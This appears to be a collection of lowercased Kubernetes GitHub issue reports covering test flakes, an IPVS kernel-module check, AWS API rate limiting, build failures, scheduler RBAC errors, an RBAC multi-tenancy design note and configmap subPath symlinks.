https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/batch/pull-kubernetes-integration/22609/\r \r    \r   v1.daemonsetcondition nil }}: operation cannot be fulfilled on daemonsets.apps \ foo\ : the object has been modified; please apply your changes to the latest version and try again\r i0810 18:48:44.078211   28282 daemon_controller.go:265  shutting down daemon sets controller\r daemonset_test.go:880: failed to update daemonset: operation cannot be fulfilled on daemonsets.apps \ foo\ : the object has been modified; please apply your changes to the latest version and try again\r    \r \r  / /assign @mortent\r \r pr that added the test:\r https://github.com/kubernetes/kubernetes/pull/66476\r /cc @janetkuo @mikedanese \r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r kube-proxy cannot use ipvs mode on linux 4.19 due to a check for the  nf_conntrack_ipv4  module, which was changed to  nf_conntrack   https://github.com/torvalds/linux/commit/a0ae2562c6c4b2721d9fddba63b7286c13517d9f .\r \r  requiredipvskernelmodulesavailablecheck.check    uses  ipvsmodules  to check for  nf_conntrack_ipv4 :\r \r https://github.com/kubernetes/kubernetes/blob/7f23a743e8c23ac6489340bbb34fa6f1d392db9d/pkg/util/ipvs/kernelcheck_linux.go l78-l91\r \r https://github.com/kubernetes/kubernetes/blob/6a8a8597f5bf4de29b7b88384529188df0b71337/pkg/util/ipvs/ipvs.go l70-l77\r \r it should instead accept  nf_conntrack  on linux 4.19 or above.\r \r   what happened  :\r kube-proxy fell back from ipvs mode to iptables mode.\r    \r i1026 20:50:47.185405       1 feature_gate.go:226  feature gates: &{{} map  }\r w1026 20:50:47.323161       1 proxier.go:397  failed to load kernel module nf_conntrack_ipv4 with modprobe. you can ignore this message when kube-proxy is running inside container without mounting /lib/modules\r e1026 20:50:47.326512       1 server_others.go:304  can't determine whether to use ipvs proxy, error: ipvs proxier will not be used because the following required kernel modules are not loaded:  nf_conntrack_ipv4 \r i1026 20:50:47.328336       1 server_others.go:140  using iptables proxier.\r    \r \r   what you expected to happen  :\r kube-proxy using ipvs.\r \r   how to reproduce it  as minimally and precisely as possible   :\r launch a cluster on an image using linux 4.19 or above with kube-proxy using ipvs mode  see https://github.com/kubernetes/kubernetes/blob/master/pkg/proxy/ipvs/readme.md run-kube-proxy-in-ipvs-mode .\r \r   environment  :\r - kubernetes version  use  kubectl version  : all\r - kernel  e.g.  uname -a  : 4.19\r \r <!-- do not edit below this line -->\r 

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r i am creation new deployment and after few seconds update the pod template spec with new configuration and then old replicaset and old pods are still alive with new replicaset\r the current behaviour is based on default deployment strategy rolling upgrade \r \r i would like to know if its normal behaviour of rolling upgrade so k8s will keep the old pod until the new pod will started successfully and then it will disable the old replicaset and delete the old pod\r \r   what you expected to happen  :\r new replicaset is created with new pod and old replicaset should be removed with old pod\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1-create new deployment resource\r 2-update the pod template sepc by adding new env variable\r \r   anything else we need to know?  :\r   machinery\r  \r   environment  :\r - kubernetes version  use  kubectl version  :1.11\r - cloud provider or hardware configuration:\r - os  e.g:  cat /etc/os-release  :\r - kernel  e.g.  uname -a  :\r - install tools:\r - network plugin and version  if this is a network-related bug :\r - others:\r

docker containers which share the same ipc namespace are given the same selinux label by docker. this is not the case though for containers within a pod which do not end up with the same selinux label even though they share the ipc namespace of the infra container.  if this is fixed then selinux relabeling for volumes  through the docker :z flag  can be turned on by default for all pods. since all containers within the pod will end up sharing the same selinux label which is randomly assigned by docker to the infra container.  please assign to me

console root@zzc:/home/chun/soft/kubernetes/kubernetes  go run hack/e2e.go -v --build 2016/06/20 17:36:42 e2e.go:212: running: build-release ubuntu doesn't need special preparations for e2e tests +++  0620 17:36:42  verifying prerequisites.... +++  0620 17:36:48  building docker image kube-build:build-bd1a5c6f19. +++  0620 17:36:53  running build command.... go version: go version go1.6.2 linux/amd64 +++  0620 17:36:54  multiple platforms requested, but available 7g < threshold 11g, building platforms in serial +++  0620 17:36:54  building the toolchain targets:     k8s.io/kubernetes/hack/cmd/teststale +++  0620 17:36:54  building go targets for linux/amd64:     cmd/kube-dns     cmd/kube-proxy     cmd/kube-apiserver     cmd/kube-controller-manager     cmd/kubelet     cmd/kubemark     cmd/hyperkube     federation/cmd/federation-apiserver     federation/cmd/federation-controller-manager     plugin/cmd/kube-scheduler   k8s.io/kubernetes/pkg/util/strategicpatch compile: reading input: eof   k8s.io/kubernetes/pkg/runtime compile: reading input: eof !!! error in /go/src/k8s.io/kubernetes/hack/lib/golang.sh:464   'go install \ ${goflags @ :+${goflags @ }}\  -ldflags \ ${goldflags}\  \ ${nonstatics @ :+${nonstatics @ }}\ ' exited with status 2 call stack:   1: /go/src/k8s.io/kubernetes/hack/lib/golang.sh:464 kube::golang::build_binaries_for_platform ...    2: /go/src/k8s.io/kubernetes/hack/lib/golang.sh:633 kube::golang::build_binaries ...    3: hack/build-cross.sh:28 main ...  exiting with status 1 !!! error in /go/src/k8s.io/kubernetes/hack/lib/golang.sh:550   '  kube::golang::setup_env; echo \ go version: $ go version \ ; local host_platform; host_platform=$ kube::golang::host_platform ; local goflags goldflags; eval \ goflags= ${kube_goflags:-} \ ; goldflags=\ ${kube_goldflags:-} $ kube::version::ldflags \ ; local use_go_build; local -a targets=  ; local arg; for arg in \ $@\ ; do     if    \ ${arg}\  == \ --use_go_build\    ; then         use_go_build=true;     else         if    \ ${arg}\  == -    ; then             goflags+= \ ${arg}\  ;         else             targets+= \ ${arg}\  ;         fi;     fi; done; if    ${ targets @ } -eq 0   ; then     targets= \ ${kube_all_targets @ }\  ; fi; local -a platforms= \ ${kube_build_platforms @ :+${kube_build_platforms @ }}\  ; if    ${ platforms @ } -eq 0   ; then     platforms= \ ${host_platform}\  ; fi; local binaries; binaries= $ kube::golang::binaries_from_targets \ ${targets @ }\   ; local parallel=false; if    ${ platforms @ } -gt 1   ; then     local gigs; gigs=$ kube::golang::get_physmem ; if    ${gigs} -ge ${kube_parallel_build_memory}   ; then         kube::log::status \ multiple platforms requested and available ${gigs}g >= threshold ${kube_parallel_build_memory}g, building platforms in parallel\ ; parallel=true;     else         kube::log::status \ multiple platforms requested, but available ${gigs}g < threshold ${kube_parallel_build_memory}g, building platforms in serial\ ; parallel=false;     fi; fi; kube::golang::build_kube_toolchain; if    \ ${parallel}\  == \ true\    ; then     kube::log::status \ building go targets for ${platforms @ } in parallel  output will appear in a burst when complete :\  \ ${targets @ }\ ; local platform; for platform in \ ${platforms @ }\ ;     do           kube::golang::set_platform_envs \ ${platform}\ ; kube::log::status \ ${platform}: go build started\ ; kube::golang::build_binaries_for_platform ${platform} ${use_go_build:-}; kube::log::status \ ${platform}: go build finished\    &> \ /tmp//${platform//\\//_}.build\  &     done; local fails=0; for job in $ jobs -p ;     do         wait ${job} || let \ fails+=1\ ;     done; for platform in \ ${platforms @ }\ ;     do         cat \ /tmp//${platform//\\//_}.build\ ;     done; exit ${fails}; else     for platform in \ ${platforms @ }\ ;     do         kube::log::status \ building go targets for ${platform}:\  \ ${targets @ }\ ; kube::golang::set_platform_envs \ ${platform}\ ; kube::golang::build_binaries_for_platform ${platform} ${use_go_build:-};     done; fi  ' exited with status 1 call stack:   1: /go/src/k8s.io/kubernetes/hack/lib/golang.sh:550 kube::golang::build_binaries ...    2: hack/build-cross.sh:28 main ...  exiting with status 1 !!! error in /home/chun/soft/kubernetes/kubernetes/hack/e2e-internal/../../cluster/../build/../build/common.sh:617   '\ ${docker_cmd @ }\  \ $@\ ' exited with status 1 call stack:   1: /home/chun/soft/kubernetes/kubernetes/hack/e2e-internal/../../cluster/../build/../build/common.sh:617 kube::build::run_build_command ...    2: /home/chun/soft/kubernetes/kubernetes/hack/e2e-internal/../../cluster/../build/release.sh:33 main ...  exiting with status 1 2016/06/20 17:36:55 e2e.go:218: error running build-release: exit status 1 2016/06/20 17:36:55 e2e.go:214: step 'build-release' finished in 13.579951011s 2016/06/20 17:36:55 e2e.go:95: error building. aborting. exit status 1

kubernetes version  \r 1.3.8 <\r \r it has been reported that this bug is in the 1.4.0 branch and above.  i have validated on 1.4.7 and 1.4.6.  we have not validated the 1.5.x branch, and an exponential back off patch just was just merged. https://github.com/kubernetes/kubernetes/pull/38766, but we do not beleive that is addressing the root problem.\r \r   environment  \r -   cloud provider or hardware configuration  : aws\r -   os    e.g. from /etc/os-release : debian\r -   kernel    e.g.  uname -a  : custom maintained kernel by aws team linux  4.4.26-k8s  1 smp fri oct 21 05:21:13 utc 2016 x86_64 gnu/linux\r -   install tools  : kops\r -   others  :\r \r   what happened  :\r \r as you add more pv storage to a cluster, the cluster starts to spam the api heavily.  it has been reported that only 20 pv attached will start causing ec2 api timeouts.  this is a showstopper issue which is making pv attached storage unusable in aws.  as the aws account nears its limit on api calls this problem cascades, to the point that retries flood the api.  one of our accounts is at around 24k calls per hour.\r \r the controller starts to make api calls at such high rate that it starts to retry, and then you just spam the api.  the controller is making far too many api calls to validate that a node exists and that a volume is attached to a node.  the specific call that is timing out the most is  describeinstances .\r \r the cluster is at steady state.  we do not have volume churn, i.e. we are not adding and removing volumes.\r \r   what you expected to happen  :\r \r able to have 500 pv attached to a cluster and not kill ec2 api.\r \r   how to reproduce it    as minimally and precisely as possible :\r \r - use kops to create a cluster. https://github.com/kubernetes/kops/blob/master/docs/aws.md  don't use kube-up.sh it is super flakey and eol \r - update the master controller to  -v 11 , and restart the controller.\r - enable cloud trails\r - install 20 deployments with 20 attached pvc.\r \r you will get:\r \r    \r i0106 03:00:38.501732       7 log_handler.go:33  aws request: ec2 describeinstances\r i0106 03:00:38.502157       7 log_handler.go:33  aws request: ec2 describeinstances\r i0106 03:00:38.566153       7 log_handler.go:33  aws request: ec2 describeinstances\r i0106 03:00:38.593830       7 reconciler.go:195  volume \ kubernetes.io/aws-ebs/aws://us-west-2c/vol-0860881328c9f524c\ /node \ ip-172-20-15-41.us-west-2.compute.internal\  is attached--touching.\r i0106 03:00:38.593869       7 reconciler.go:195  volume \ kubernetes.io/aws-ebs/aws://us-west-2a/vol-0a5c43d0a3ba5501e\ /node \ ip-172-20-5-129.us-west-2.compute.internal\  is attached--touching.\r i0106 03:00:38.593882       7 reconciler.go:195  volume \ kubernetes.io/aws-ebs/aws://us-west-2b/vol-08f2d5e73460c5f1f\ /node \ ip-172-20-9-218.us-west-2.compute.internal\  is attached--touching.\r i0106 03:00:38.593895       7 reconciler.go:195  volume \ kubernetes.io/aws-ebs/aws://us-west-2b/vol-0d8875331a33b8223\ /node \ ip-172-20-9-218.us-west-2.compute.internal\  is attached--touching.\r    \r \r showing up in the logs of the controller.  i have only tested in ha, but will validate in single master setup shortly.\r \r   anything else do we need to know  :\r \r this is bad enough issue that we are crashing controllers.\r \r aws is rate limited, by api call, and by failed api calls.  some api calls are limited to a region, and some are account wide.\r \r the code that is getting called is from here:\r \r https://github.com/kubernetes/kubernetes/blob/d97f125ddf222634948f9d2448e5316180b736dd/pkg/controller/volume/attachdetach/reconciler/reconciler.go\r \r tldr;\r \r anyone that is using 1.4.0+ in aws will exceed their rate limits with as little as 20 pv attached to a cluster.  we have one account that is at about 24k api calls per hour because of timeouts.  this makes pv unuable on aws.

kubernetes-build is failing in 1.7 branch\r https://k8s-testgrid.appspot.com/release-1.7-blocking build-1.7\r \r we need to fix it asap, otherwise i will need to revert the last prs to cut the 1.7.2 release tomorrow.\r \r @seanknox @brendandburns

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r \r \r   what happened  :\r  testgrid  https://k8s-testgrid.appspot.com/google-gce gce-alpha-features \r  logs  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-alpha-features/13933 \r \r    \r i0802 21:12:24.694      \u001b 91m\u001b 1mtest panicked\u001b 0m\r i0802 21:12:24.694      \u001b 91mruntime error: invalid memory address or nil pointer dereference\u001b 0m\r i0802 21:12:24.695      /usr/local/go/src/runtime/panic.go:489\r i0802 21:12:24.695  \r i0802 21:12:24.695      \u001b 91mfull stack trace\u001b 0m\r i0802 21:12:24.695      \t/usr/local/go/src/runtime/panic.go:489 +0x2cf\r i0802 21:12:24.696      k8s.io/kubernetes/test/e2e/storage.glob..func5.1  \r i0802 21:12:24.696      \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/storage/persistent_volumes-local.go:112 +0x2df\r i0802 21:12:24.696      k8s.io/kubernetes/vendor/github.com/onsi/ginkgo/internal/leafnodes.  runner .runsync 0xc4203bb080, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, ... \r i0802 21:12:24.696      \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/e2e.go:344 +0x219\r i0802 21:12:24.696      k8s.io/kubernetes/test/e2e.teste2e 0xc4206b9ba0 \r i0802 21:12:24.696      \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/e2e_test.go:41 +0x2b\r i0802 21:12:24.696      testing.trunner 0xc4206b9ba0, 0x35cadf0 \r i0802 21:12:24.696      \t/usr/local/go/src/testing/testing.go:657 +0x96\r i0802 21:12:24.697      created by testing.  t .run\r i0802 21:12:24.697      \t/usr/local/go/src/testing/testing.go:697 +0x2ca\r    \r \r   what you expected to happen  :\r test should pass\r \r

\r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r kubelet start failed, and the outputs :\r \r \r 2017/08/18 23:39:43 proto: duplicate proto type registered: google.protobuf.any\r 2017/08/18 23:39:43 proto: duplicate proto type registered: google.protobuf.duration\r 2017/08/18 23:39:43 proto: duplicate proto type registered: google.protobuf.timestamp\r   error: failed to run kubelet: rootdirectory \ /var/lib/kubelet\  does not exist  \r \r \r  kubelet start successful after creating the no exist directory  /var/lib/kubelet  \r \r   what you expected to happen  :\r  kubelet can start successful no need to create  the  directory  /var/lib/kubelet  \r \r   how to reproduce it  as minimally and precisely as possible   :\r - compile the latest version of kubelet.\r - make sure the directory   /var/lib/kubelet  not exist\r - start kubelet\r \r   anything else we need to know?  :\r this issue seems not exist in version -1.7.1\r \r   environment  :\r - the newest code of master branch\r - version: kubernetes v1.8.0-alpha.2.2129+4564f3d8102486\r

what happened  :\r there are many if cases in kind visitor.\r \r   what you expected to happen  :\r use switch instand of more three if cases.\r \r

is this a bug report or feature request?  :\r this is request for improvements.\r \r   what happened  :\r when podsecuritypolicy provider validates  securitycontext.supplementalgroups  or  fsgroup  fields of a pod, it shows an error like \ 999 is not an allowed group\  if the group doesn't belong to the range s .\r \r   what you expected to happen  :\r it should include to the error message also the allowed values -- the ranges against what we were validating this group. this will simplify user experience and debugging.\r \r   how to reproduce it  as minimally and precisely as possible   :\r - run kubernetes cluster with psp support\r - create a psp that allows fsgroup/supplementalgroups in some ranges\r - grant to a user access to this psp\r - try to create a pod that has fsgroup/supplementalgroups outside of the allowed ranges\r \r   anything else we need to know?  :\r in order to improve the current behavior, we need to modify  validate    function here: https://github.com/kubernetes/kubernetes/blob/48a7048d9819ee516b3cfdf5c458b5815b640138/pkg/security/podsecuritypolicy/group/mustrunas.go l71-l76\r \r reported-by: @dmage \r \r @kubernetes/sig-auth-feature-requests \r 

failing jobs and tests\r    gke-ingress-1.11  https://k8s-testgrid.appspot.com/sig-release-1.11-blocking gke-ingress-1.11 \r    gke-gci-1.10-gci-master-upgrade-cluster-parallel  https://k8s-testgrid.appspot.com/sig-release-master-upgrade gke-gci-1.10-gci-master-upgrade-cluster-parallel \r    gke-gci-master-gci-1.10-downgrade-cluster-parallel  https://k8s-testgrid.appspot.com/sig-release-master-upgrade gke-gci-master-gci-1.10-downgrade-cluster-parallel \r \r    error\r    upgrade test failure  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-gci-new-gci-master-upgrade-cluster-parallel/5368 \r    ingress failure  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-cos-k8sbeta-ingress/3106 \r \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/lifecycle/cluster_upgrade.go:136\r expected error:\r     < errors.statuserror | 0xc420198bd0>: {\r         errstatus: {\r             typemeta: {kind: \ \ , apiversion: \ \ },\r             listmeta: {selflink: \ \ , resourceversion: \ \ , continue: \ \ },\r             status: \ failure\ ,\r             message: \ configmaps \\\ ingress-uid\\\  not found\ ,\r             reason: \ notfound\ ,\r             details: {name: \ ingress-uid\ , group: \ \ , kind: \ configmaps\ , uid: \ \ , causes: nil, retryafterseconds: 0},\r             code: 404,\r         },\r     }\r     configmaps \ ingress-uid\  not found\r not to have occurred\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/upgrades/ingress.go:86\r \r a bunch of gke-ingress and upgrade, downgrade tests started failing on the above  ingress errro after the merges / cps yesterday as indicated by the  change log  https://github.com/kubernetes/kubernetes/compare/8745ea56e...5f5d6aa92 . @liggitt i am assigning to you for initial investigation. please re-triage as you see fit.\r \r  / /assign @liggitt \r /cc @mrhohn @rramkumar1 @krousey @roberthbailey \r /cc @jberkus @tpepper @dims as fyi\r /milestone v1.11

\r   is this a bug report or feature request?  :\r   \r   what happened  :\r when running integration test of a directory, for example,   make test-integration what=./test/integration/scheduler , the later cases may result in fail. with logs like:\r    \r e0802 16:07:18.224269   68602 controller.go:197  unable to sync kubernetes service: post http://127.0.0.1:40094/api/v1/namespaces: dial tcp 127.0.0.1:40094: connect: connection refused\r e0802 16:07:18.775333   68602 controller.go:197  unable to sync kubernetes service: post http://127.0.0.1:42557/api/v1/namespaces: dial tcp 127.0.0.1:42557: connect: connection refused\r e0802 16:07:20.262979   68602 controller.go:197  unable to sync kubernetes service: post http://127.0.0.1:43115/api/v1/namespaces: dial tcp 127.0.0.1:43115: connect: connection refused\r e0802 16:07:21.332655   68602 controller.go:197  unable to sync kubernetes service: post http://127.0.0.1:39557/api/v1/namespaces: dial tcp 127.0.0.1:39557: connect: connection refused\r e0802 16:07:21.427371   68602 controller.go:197  unable to sync kubernetes service: post http://127.0.0.1:37194/api/v1/namespaces: dial tcp 127.0.0.1:37194: connect: connection refused\r e0802 16:07:21.996686   68602 controller.go:197  unable to sync kubernetes service: post http://127.0.0.1:44807/api/v1/namespaces: dial tcp 127.0.0.1:44807: connect: connection refused\r e0802 16:07:22.600754   68602 controller.go:197  unable to sync kubernetes service: post http://127.0.0.1:45935/api/v1/namespaces: dial tcp 127.0.0.1:45935: connect: connection refused\r e0802 16:07:23.823705   68602 repair.go:88  unable to refresh the service ip block: get http://127.0.0.1:45728/api/v1/services: dial tcp 127.0.0.1:45728: connect: connection refused\r e0802 16:07:23.824653   68602 repair.go:73  unable to refresh the port block: get http://127.0.0.1:45728/api/v1/services: dial tcp 127.0.0.1:45728: connect: connection refused\r e0802 16:07:23.828503   68602 controller.go:184  unable to create required kubernetes system namespace kube-system: post http://127.0.0.1:45728/api/v1/namespaces: dial tcp 127.0.0.1:45728: connect: connection refused\r e0802 16:07:23.828835   68602 controller.go:184  unable to create required kubernetes system namespace kube-public: post http://127.0.0.1:45728/api/v1/namespaces: dial tcp 127.0.0.1:45728: connect: connection refused\r e0802 16:07:23.839390   68602 controller.go:197  unable to sync kubernetes service: post http://127.0.0.1:45728/api/v1/namespaces: dial tcp 127.0.0.1:45728: connect: connection refused\r e0802 16:07:23.852897   68602 controller.go:197  unable to sync kubernetes service: post http://127.0.0.1:45026/api/v1/namespaces: dial tcp 127.0.0.1:45026: connect: connection refused\r e0802 16:07:24.732762   68602 controller.go:197  unable to sync kubernetes service: post http://127.0.0.1:35560/api/v1/namespaces: dial tcp 127.0.0.1:35560: connect: connection refused\r    \r \r \r   what you expected to happen  :\r should cleanup all resources after a case finished.\r \r   how to reproduce it  as minimally and precisely as possible   :\r  make test-integration what=./test/integration/scheduler \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r \r when the glusterfs provisioner is asked to create a pv with a name of more than 45 characters, the endpoint creation fails due to the overal length of the constructed endpoint name being more than 63 characters. see issues  53939 and  56379. this leads to the overall pvc request failing, but the provisioner has at this point already created a gluster volume in the backend, and the failure to create the endpoint leads to a rollback that deletes the volume. so the volume is not leaked, but it still takes time and energy to do this creation and deletion. also, previously this volume churn would have side effects on gluster itself, which is now removed or at least reduced.\r \r   what you expected to happen  :\r \r failure to create the endpoint should not create and delete a gluster volume. ideally, the gluster volume should not have been created in the first place.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   set up a storage class with the glusterfs provisioner\r   try a pvc create with a volume name of more than 45 characters\r   the pvc creation fails due to the endpoint, but a gluster volume has been created and deleted again as you can see from gluster logs\r \r  see issue  56379 for more details .\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : master  also recent released versions \r - cloud provider or hardware configuration: any\r - os  e.g. from /etc/os-release : coreos\r - kernel  e.g.  uname -a  : any\r - install tools: kubeadm, or others\r - others: -\r

i have deploying a custom scheduler after following instructions step by step like mentioned in kubernetes docs\r \r here's  a link   https://kubernetes.io/docs/tasks/administer-cluster/configure-multiple-schedulers/ \r \r pods i specify should be scheduled using scheduler \ my-scheduler\  leaves in pending state while \ my-scheduler\  pod is running state..\r \r kubectl version : -client: v1.14.1 -server: v1.14.0\r \r kubeadm version : v1.14.1\r \r    \r alisd@kubemaster:~$ kubectl get pods -n kube-system\r name                                 ready   status    restarts   age\r calico-node-944jv                    2/2     running   4          45h\r coredns-fb8b8dccf-hzzwf              1/1     running   2          45h\r coredns-fb8b8dccf-zb228              1/1     running   2          45h\r etcd-kubemaster                      1/1     running   3          45h\r kube-apiserver-kubemaster            1/1     running   3          45h\r kube-controller-manager-kubemaster   1/1     running   3          45h\r kube-proxy-l6wrc                     1/1     running   3          45h\r kube-scheduler-kubemaster            1/1     running   3          45h\r my-scheduler-66cf896bfb-8j8sr        1/1     running   2          45h\r    \r \r \r    \r alisd@kubemaster:~$ kubectl get pods\r name                          ready   status    restarts   age\r annotation-second-scheduler   0/1     pending   0          4s\r    \r \r \r    \r alisd@kubemaster:~$ kubectl describe pod annotation-second-scheduler\r name:               annotation-second-scheduler\r namespace:          default\r priority:           0\r priorityclassname:  <none>\r node:               <none>\r labels:             name=multischeduler-example\r annotations:        <none>\r status:             pending\r ip:                 \r containers:\r   pod-with-second-annotation-container:\r     image:        k8s.gcr.io/pause:2.0\r     port:         <none>\r     host port:    <none>\r     environment:  <none>\r     mounts:\r       /var/run/secrets/kubernetes.io/serviceaccount from default-token-jclk7  ro \r volumes:\r   default-token-jclk7:\r     type:        secret  a volume populated by a secret \r     secretname:  default-token-jclk7\r     optional:    false\r qos class:       besteffort\r node-selectors:  <none>\r tolerations:     node.kubernetes.io/not-ready:noexecute for 300s\r                  node.kubernetes.io/unreachable:noexecute for 300s\r events:          <none>\r    \r \r    \r alisd@kubemaster:~$ kubectl logs -f my-scheduler-66cf896bfb-8j8sr -n kube-system\r \r e0426 14:44:01.742799       1 reflector.go:126  k8s.io/client-go/informers/factory.go:133: failed to list  v1.storageclass: storageclasses.storage.k8s.io is forbidden: user \ system:serviceaccount:kube-system:my-scheduler\  cannot list resource \ storageclasses\  in api group \ storage.k8s.io\  at the cluster scope\r e0426 14:44:02.743952       1 reflector.go:126  k8s.io/client-go/informers/factory.go:133: failed to list  v1.storageclass: storageclasses.storage.k8s.io is forbidden: user \ system:serviceaccount:kube-system:my-scheduler\  cannot list resource \ storageclasses\  in api group \ storage.k8s.io\  at the cluster scope\r .....\r

for both l7 and l4 type=loadbalancers, should run for about a week at least

note: mostly a brain dump\r \r as we look at some of the requirements we have around rbac at scale in kube, three in particular come up often:\r \r 1. organizational multi-tenancy - where a large fraction of the cluster is a single organization entity that desires subtenant access  large swathes of namespaces, possibly identified by labels \r 2. sparse multi-tenancy - where a user has access to a few scopes  rbac access to namespaces \r 3. scoped integrations - where an integration has access to a percentage of namespaces, resources, or resources within namespaces, such as an ingress controller that is only allowed to see ingresses and secrets that a user has decided to expose to the end user\r \r our current rbac scopes are cluster  non-namespaced , namespace, and name.  the rbac rules for those scopes map directly to the access pattern   get /v1/pods  ->  has get on pods at cluster  .\r \r openshift identified early on that we would need to support a sparse multi-tenant model, so we introduced a separate resource   projects   which is a virtual resource on top of namespace.  listing a project queries to an index maintained by a reflector on namespace + roles + rolebindings.  we support a limited form of watch over that index, although it has some gaps.  a user can perform a cluster-scoped  get /v1/projects  call and see only the namespaces they have the  view  permission on  we do not offer sparse cluster queries on other permission bits .\r \r in order to satisfy the 3 use cases above, we've been considering a few incremental stepping stones:\r \r 1. support label selectors on rbac roles to offer subset access:\r     - grouping namespaces by label selector by organization:  group o=financial can get /namespaces where owner.organization=financial \r     - exposing a limited subset of secrets to an integration for a particular use case:  serviceaccount ingress-controller-internal can get /secrets where ingress.controller/consume=internal \r 2. investigate indices and optimizations for converting the rbac state into bounding set filters on list and watch\r     - the primary challenge is supporting snapshot access - list without consistent watch is useless\r     - today, watch does not terminate when acl is revoked  which we would like to fix \r       - in practice, access to rbac changes slowly  < 1/hr per user, with lots of bustiness \r       - if we can make list + watch correct, then we can simply terminate watches when their bounding set changes\r       - delta informers already handle bounding set changes on resync\r       - we are allowed a grace period to react to rbac for other reasons, so it's reasonable to coalesce role changes over small  5s-5m  windows\r     - sparse bit indices are very reasonable for the likely distribution of rbac roles  10k namespaces, 10k users, ~500 large organizations, watches proportional to organizations, small number of practical permissions to check  - many of the approaches in the literature are trivial to apply to sets this small\r 3. investigate continued optimizations for filtered lists in storage and etcd\r     - at some point we will switch from eager decoding of stored objects to a lazy model that defers full object decoding  potentially all the way back to clients when versions and encodings are aligned , which leaves room for selective schema decoding  accessing only labels, or decoding only objects that match a name and namespace filter \r       - now that we have unified the underlying common api group, we can do selective decoding of parts of object meta for both json and proto  proto by querying the model for the right tags to get at labels , json by using something like https://github.com/tidwall/gjson \r     - etcd3 allows us to do mvcc reads on uncompacted history that  should  make it possible to make multiple list calls in sequence for disconnected spans\r     - we've discussed materializing label indices into etcd  although this only helps part of the use case \r     - etcd3 does not have  as far as i can see  a way to retrieve multiple ranges in one request - that potentially would help optimize high selectivity cross namespace calls  get all pods in namespaces a1, a2, a5, b16, c30 \r \r subdividing secret access is becoming increasingly important - we currently can't enable ingress on multi-tenant clusters without significant concerns about escalation.  the more integrations the cluster has, the more the coarse \ resource specific\  model for acl runs into limitations.

 \r when i create any of the data mapping volume types  configmap, secret, projected , i can create an arbitrary directory hierarchy inside the volume using the 'path' option. however, if i try to mount one of these subdirectories  using the 'subpath' mount option  i get a mount that just contains broken symlinks.\r \r this might be an accepted limitation rather than a bug, but if so it should probably be mentioned in the volumes documentation. currently it doesn't mention the fact that symlinks are used in these volumes, or that you need to always mount the root of the volume to prevent the symlinks from breaking.\r https://kubernetes.io/docs/concepts/storage/volumes/\r \r   what happened  :\r 1. i configured a volume containing items from a configmap projected at different paths.\r 2. i configured a container to mount a subpath of the volume.\r 3. the files in the mounted volume were inaccessible  broken symlinks .\r \r   what you expected to happen  :\r the files in the mounted volume contained the relevant configmap data.\r \r   how to reproduce it  as minimally and precisely as possible   :\r create a pod with a configmap volume like:\r    yaml\r       volumes:\r         - name: configs\r           configmap:\r             name: dev-app-1\r             items:\r             - key: db.conf\r               path: database/db.conf\r    \r and a container with a volume mount like:\r    yaml\r         volumemounts:\r         - mountpath: /etc/db\r           name: configs\r           subpath: database\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.6.6\r - cloud provider or hardware configuration  : aws\r - os  e.g. from /etc/os-release : debian gnu/linux 8  jessie \r - kernel  e.g.  uname -a  : 4.4.65-k8s\r \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r feature request\r \r > uncomment only one, leave it on its own line: \r >\r >  >  \r \r   what happened  :\r ! image  https://user-images.githubusercontent.com/5154334/28453818-6c0e6c3c-6e2b-11e7-817f-e0439af814c9.png \r \r ! image  https://user-images.githubusercontent.com/5154334/28453854-83feaca8-6e2b-11e7-808f-06bfda726fb4.png \r \r   what you expected to happen  :\r \ kubectl describe pdb\  may contain namespaces.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r client version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.0-alpha.1.687+9848cdb3ac67d6\ , gitcommit:\ 9848cdb3ac67d64e2f446a69928b7c0610f0f56a\ , gittreestate:\ clean\ , builddate:\ 2017-07-03t02:17:22z\ , goversion:\ go1.8\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.0-alpha.1.687+9848cdb3ac67d6\ , gitcommit:\ 9848cdb3ac67d64e2f446a69928b7c0610f0f56a\ , gittreestate:\ clean\ , builddate:\ 2017-07-03t02:17:22z\ , goversion:\ go1.8\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r 